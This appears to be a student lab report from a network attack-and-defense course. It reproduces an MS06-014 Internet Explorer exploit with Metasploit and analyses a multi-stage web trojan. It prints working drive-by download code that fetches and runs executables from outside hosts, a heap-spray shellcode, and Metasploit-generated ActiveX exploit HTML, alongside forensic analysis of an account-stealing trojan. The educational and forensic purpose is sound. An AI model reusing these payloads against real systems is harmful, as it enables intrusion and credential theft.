20252910 2025-2026-2《网络攻防实践》第11次作业

20252910 2025-2026-2《网络攻防实践》第11次作业

1、实验内容

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2、实验过程

实验环境

角色 系统与配置 IP 地址
攻击机 Kali Linux 192.168.180.64
靶机 1 Windows 2000 Server SP0,预装 IE 5.0/6.0 192.168.180.77
靶机 2 Windows XP attack,用于恶意代码静态分析 192.168.180.69

任务一:web浏览器渗透攻击

对靶机和攻击机进行连通性测试:

image-20260603160659099

选择使用Metasploit中的MS06-014渗透攻击模块

执行以下命令:

sudo msfconsole
search MS06-014

image-20260603160902183

加载搜索到的可用模块:

use exploit/windows/browser/ie_createobject

image-20260603161152163

选择PAYLOAD为任意远程Shell连接

set payload windows/shell_reverse_tcp

image-20260603161324128

设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

设置攻击机地址

set LHOST 192.168.180.64

运行exploit

exploit

image-20260603161554882

在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

image-20260603161740851

在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

查看状态:

image-20260603161835708

建立远程会话,远程执行命令:

sessions -i 1

ipconfig

image-20260603162015280

任务二:取证分析实践—网页木马攻击场景分析

步骤 1:找到 start.html进行分析

用记事本打开 start.html,搜索关键字 new09.htm,找出给出的地址:

该 iframe 用于加载恶意页面,且宽高为 0,用户无法察觉。

</table> <iframe src="new09.htm" width="0" height="0"></iframe>

image-20260608155035335

步骤 2:分析 new09.htm 文件

在文件夹里并没有找到这个文件,但是通过网页挂马分析实践参考(上)里的内容可以得到:

image-20260608155655122

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>

打开计算网址 https://www.tooldeer.com/hashcalculator-md5.html ,计算两个 URL 的 MD5 值:

http://js.users.51.la/1299644.js MD5值:23180a42a2ff1192150231b44ffdf3d3

http://aa.18dd.net/aa/kl.htm MD5值:7f60672dcd6b5e90b6772545ee219bd3

步骤 3:解密 kl.htm 文件(XXTEA+Base64 加密)

在学习通下载对应文件并进行解压

image-20260608160545649

打开文件名为:7f60672dcd6b5e90b6772545ee219bd3的文件

image-20260608161009458

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

可知使用 XXTEA+Base64 加密,密钥为十六进制 \x73\x63\x72\x69\x70\x74。通过在线工具(https://lzltool.cn/Toolkit/ConvertStringToHexadecimalhttps://www.freetoolhouse.com/other-tool/hex-to-string )转换为字符串,即密钥为 script。

image-20260608161654592

在线解密工具:https://tool.bugku.com/safe/xxtea.php

image-20260608161338794

将十六进制代码转换为字符串,得到核心恶意代码:

image-20260608161746879

function init() {
    document.write();
}
window.onload = init;

if (document.cookie.indexOf('OK') == -1) {
    try {
        var e;
        var ado = document.createElement("object");
        ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var as = ado.createobject("Adodb.Stream", "");
    } catch (e) {} finally {
        var expires = new Date();
        expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
        document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();
        
        if (e != "[object Error]") {
            document.write("<script src=http://aa.18dd.net/aa/1.js><\/script>");
        } else {
            try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}catch(f){}finally{if(f!="[object Error]")document.write("<script src=http://aa.18dd.net/aa/b.js><\/script>");}
            try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}catch(g){}finally{if(g!="[object Error]")document.write("<script src=http://aa.18dd.net/aa/pps.js><\/script>");}
            try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}catch(h){}finally{if(h!="[object Error]")obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0);}
        }
    }
}

漏斗分析:

你打开网页 → 代码检查是否攻击过 → 依次尝试 4 个高危漏洞 ↓ 只要任意一个漏洞利用成功 ↓ 自动下载并运行病毒 exe / 恶意脚本 ↓ 电脑被植入木马、被控制、被盗号、隐私泄露

系统级:MS06-014(ADODB.Stream)
暴风影音:MPS.StormPlayer
PPS 播放器:PowerPlayerCtrl
百度工具栏:BaiduBar.Tool(最直接下载 exe)

步骤 4:解密三个 JS 恶意文件

http://aa.18dd.net/aa/1.js MD5值:5d7e9058a857aa2abee820d5473c5fa4

http://aa.18dd.net/aa/b.js MD5值:3870c28cc279d457746b3796a262f166

http://aa.18dd.net/aa/pps.js MD5值:5f0b8bf0385314dbe0e5ec95e6abedc2

image-20260608163314887

解密过程:

http://aa.18dd.net/aa/1.js

image-20260608163353223

var url = "http://down.18dd.net/bb/014.exe";
try {
    var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
    xml.Open("GET", url, 0);
    xml.Send();
    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = "..\\ntuser.com";
    as.savetofile(path, 2);
    as.close();
    var shell = ado.createobject("Shell.Application", "");
    shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
} catch (e) {}

var url = "http://down.18dd.net/bb/014.exe";
try {
    var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
    xml.Open("GET", url, 0);
    xml.Send();
    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = "..\\ntuser.com";
    as.savetofile(path, 2);
    as.close();
    var shell = ado.createobject("Shell.Application", "");
    shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
} catch (e) {}

下载地址:http://down.18dd.net/bb/014.exe

上下一样原因如下:

怕第一次执行失败

重复两次,提高攻击成功率

属于暴力攻击写法,没有技术意义,就是重复执行同一段攻击代码

解密:http://aa.18dd.net/aa/b.js

解密工具找不到了,只能交给LLM

得到下载地址:http://down.18dd.net/bb/bf.exe

解密:http://aa.18dd.net/aa/pps.js

将八进制代码通过在线工具(https://config.net.cn/tools/Bit8ToText.html )转换为字符串,得到类似的堆喷射代码:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

image-20260608170131973

就这一段。

对于shellcode中的URL编码,每个%u7468,先拆分74,68,再反转68,74.最后转为ASCII分别为h和t。

下载地址:http://down.18dd.net//b/pps.exe

步骤 5:解压 bd.cab 文件

image-20260608170753259

解压bd.cab得到bd.exe.

步骤 6:分析可执行文件一致性

对这四个可执行文件,使用 md5sum 命令计算文件哈希

image-20260608171455437

结果显示后三个文件的 MD5 值均为 1290ecd734d68d52318ea9016dc6fe63,说明它们是同一个文件的不同副本。

image-20260608171700173

步骤 7:静态分析可执行文件

查壳:使用 PEiD 工具分析 pps.exe,显示为 Borland Delphi v6.0 - v7.0,无加壳;而 14.exe 可以顺利使用超级巡警工具脱壳。

image-20260608171900723

image-20260608172006393

反汇编:使用 IDA Pro Free 和 W32Dasm 软件加载 pps.exe,查看字符串窗口,发现以下关键信息:

看到大量的链接,这个程序会下载更多木马。

image-20260608172206829

image-20260608172403274

*.del.bat:这是自删除脚本的通配符。程序会生成一个后缀为.del.bat的批处理文件,运行后自动删除自身和临时文件,抹除感染痕迹,避免被用户或杀毒软件溯源。

ChangeServiceConfig2A:这是 Windows 系统 API,来自advapi32.dll,用来修改系统服务配置。恶意程序用它实现:创建恶意服务并设置为开机自动启动,实现持久化;篡改杀毒软件、防火墙的服务配置,禁用它们的保护功能,让系统失去防护。

"advapi32.dll"
这是 Windows 高级系统 API 库,提供注册表操作、服务控制、权限提升等功能。恶意程序依赖它实现:
修改注册表关闭 AutoRun 安全限制;
提升自身权限,突破系统的安全限制;
创建 / 修改注册表项实现开机自启。

image-20260608172621098

这是 **AutoRun.inf文件的核心配置项 **:
AutoRun.inf是 Windows 系统的自动运行配置文件,放在 U 盘 / 光盘根目录下,系统会读取它来执行指定程序。open=字段的作用是:指定设备插入时自动运行的程序路径,比如open=virus.exe,系统就会直接执行这个病毒程序。程序里出现这个字符串,说明它会主动生成 / 修改 U 盘里的AutoRun.inf,写入自身的路径,实现 “插入即运行” 的感染效果。

shell\Auto\command=
这是AutoRun.inf的右键菜单扩展配置:它会给 U 盘 / 移动设备的右键菜单添加一个名为 “Auto” 的选项,点击就会执行command=后面指定的程序。这是一种 “双重保险” 的传播方式:即使系统禁用了自动播放,用户手动右键点击 U 盘时,也可能误点 “Auto” 选项,触发病毒运行。

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
这是 Windows 的注册表路径,对应资源管理器的安全策略配置:这个路径下的键值可以控制系统的多项行为,比如自动播放、文件隐藏、驱动器限制等。病毒访问这个路径,是为了修改系统的安全设置,关闭对 AutoRun 的限制,让自身的传播机制能正常生效。

NoDriveTypeAutoRun

这是上面注册表路径下的具体键值,用来控制 “哪些类型的驱动器允许自动运行”:默认情况下,Windows 为了安全,会禁用 U 盘、移动硬盘等设备的 AutoRun 功能。病毒会修改这个键值,把它改成允许所有驱动器(包括 U 盘)启用 AutoRun,这样就能绕过系统限制,实现自动感染。

image-20260608173734777

安全软件对抗:包含"瑞星卡卡上网安全助手 - IE 防漏墙"、"允许执行"等字符串,用于绕过安全软件检测。

用反汇编工具加载脱壳后的14.exe

image-20260608173858919

该样本为针对《QQ 华夏》的专用游戏盗号木马,通过反汇编字符串可完整还原其恶意行为链:病毒运行后通过 :Loop 循环与 goto Loop 实现进程等待,执行 attrib -r -s -h 解除文件属性并调用 del %0 完成自删除与痕迹清理;随后向系统目录释放核心盗号程序、盗号动态链接库与伪装成系统字体的伪装文件,同时创建 C:\DFD 作为临时工作目录;通过注册表注册指定 CLSID 的恶意 COM 组件,依托 InprocServer32 与 ShellExecuteHooks 实现无启动项的隐蔽持久化驻留;调用全局钩子函数注入 explorer.exe 系统进程与 qqhxgame 游戏进程,监控键盘输入与游戏窗口数据,窃取 QQ 华夏账号、密码、角色信息等核心数据;最终通过预设的远程地址,将窃取的游戏账号信息明文发送至黑客控制端,完成完整盗号流程。

任务三:攻防对抗实践—web浏览器渗透攻击攻防

例如同时利用 MS06-014漏洞

与任务一操作步骤一致,攻击机启动 Metasploit 框架后,输入对应命令部署攻击载荷并发起攻击,生成的木马地址为: http://192.168.180.64:8080/0XF9crYe8ZzVx 。当靶机访问该地址后即被成功感染,攻击机与靶机成功建立控制连接。

攻击方操作:

image-20260608183308383

防守方操作:

在靶机访问以上网址。

image-20260608183351916

右键查看源代码:

image-20260608183502122

选择文件右键复制,粘贴到自己的电脑上,使用在线 HTML 格式化工具(http://www.esjson.com/htmlformat.html ),使用普通压缩去除多余空格和换行,还原代码结构。

image-20260608183649240

使用在线工具进行压缩与格式化可以去除多余的空格和换行,格式化后如下所示

<html>
<head>
<title></title>
<script language="javascript">
function aojNynhnrogPqnTXfPyGFrPbo(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return r}
function lJoBXcipWROhhAfiTSKBijgQIhWd(a){var s=aojNynhnrogPqnTXfPyGFrPbo(a,"WScript.Shell");var o=aojNynhnrogPqnTXfPyGFrPbo(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\IhRIGxGAMDLrOcJyOhC.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return 0}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}
function zsUjaoeaAEK(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=aojNynhnrogPqnTXfPyGFrPbo(a,"WScript.Shell");if(b){lJoBXcipWROhhAfiTSKBijgQIhWd(a);return 0}}catch(e){}}i++}}
</script>
</head>
<body onload='zsUjaoeaAEK()'>OuHpHTuadNVrFvsxC</body>
</html>

代码中通过调用 document.location 加载攻击载荷,页面加载后自动运行代码,批量尝试老旧 IE 的高危 ActiveX 控件漏洞;利用漏洞获取系统操作权限,从当前网址下载木马程序,保存到系统临时目录并后台静默执行,实现入侵。

在靶机的资源管理器中,可发现进程,该进程是攻击机获取靶机控制权并维持通信的恶意进程。

image-20260608184748109

匹配特征码BD96C556-65A3-11D0-983A-00C04FC29E36,可判定该漏洞为 MS06-014 漏洞。

image-20260608185344062

3、实验中遇到的问题

1、在实验过程中一些在线解密工具不可用,和缺少一些文件。

解决方法:一部分是通过参考《网页挂马分析实践参考(上)》找到自己想要的,对于在线解密工具不可用询问的大模型。

4、学习感悟与思考

本次实验完成了Web浏览器渗透、网页木马取证分析及攻防对抗等实践内容,通过复现MS06-014漏洞渗透攻击,我掌握了老旧浏览器漏洞的攻击原理与网页木马的构造、利用流程,知晓未修复漏洞的老旧IE浏览器是网页挂马攻击的主要突破口,攻击者可借助恶意网页搭配远程载荷实现靶机入侵与远程控制。在木马取证分析过程中,我熟练掌握了恶意代码逐层解密、MD5哈希溯源、迭代分析恶意文件的取证方法,了解到黑客常通过代码混淆、多层嵌套的方式隐藏恶意载荷、规避安全检测,也认清了网页木马隐蔽性强、不易溯源的攻击特点。而攻防对抗实践让我真切体会到网络攻防的博弈特性,攻击方能够混淆伪装恶意链接实施钓鱼挂马攻击,防守方则需通过解混淆、代码还原、漏洞溯源排查并识别攻击漏洞与载荷。本次实验有效提升了我的漏洞复现与恶意代码分析能力。

posted @ 2026-06-08 19:22  lLct  阅读(5)  评论(0)    收藏  举报